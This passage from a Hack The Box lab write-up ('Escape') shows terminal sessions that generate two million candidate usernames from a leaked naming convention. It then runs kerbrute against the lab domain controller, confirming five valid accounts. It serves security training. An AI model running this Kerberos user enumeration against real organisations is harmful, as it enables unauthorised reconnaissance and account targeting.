Naming Convention


The naming convention that the target organization appears to use has been disclosed from the PDF file.

Wordlist


┌──(kali㉿kali)-[~/archive/htb/labs/escape]
└─$ python3 ~/Tools/username_generator.py
Choose username format:
1) hsimpson
2) h.simpson
3) homersimpson
4) homer.simpson
5) hjsimpson
6) homerjsimpson
7) homerjaysimpson
8) homersimpsonb
Option: 4
Mail domain (example: ...@domain.com) [Default: none]: 
Domain (example: domain\...) [Default: none]: 
Names file path: /usr/share/wordlists/seclists/Usernames/Names/names-usa-top2000.txt
Surnames file path: /usr/share/wordlists/seclists/Usernames/Names/familynames-usa-top1000.txt
Output file [Default: results.txt]: /home/kali/archive/htb/labs/escape/result.txt
Output saved in /home/kali/archive/htb/labs/escape/result.txt

I will first generate a list of potential usernames following the naming convention

┌──(kali㉿kali)-[~/archive/htb/labs/escape]
└─$ wc -l result.txt
2000000 result.txt

The generated list contains 2 million usernames

Username Extraction


┌──(kali㉿kali)-[~/archive/htb/labs/escape]
└─$ kerbrute userenum --dc $IP -d SEQUEL.HTB ./result.txt 
 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 
version: v1.0.3 (9dad6e1) - 08/13/23 - Ronnie Flathers @ropnop
 
2023/08/13 02:43:55 >  Using KDC(s):
2023/08/13 02:43:55 >  	10.10.11.202:88
 
2023/08/13 02:45:06 >  [+] VALID USERNAME:	 BRANDON.BROWN@SEQUEL.HTB
2023/08/13 02:48:46 >  [+] VALID USERNAME:	 NICOLE.THOMPSON@SEQUEL.HTB
2023/08/13 02:56:12 >  [+] VALID USERNAME:	 JAMES.ROBERTS@SEQUEL.HTB
2023/08/13 02:56:28 >  [+] VALID USERNAME:	 JAMES.ROBERTS@SEQUEL.HTB
2023/08/13 03:01:43 >  [+] VALID USERNAME:	 RYAN.COOPER@SEQUEL.HTB

kerbrute returned a total of 5 users including some friendly ones from the PDF file saved to the users.txt file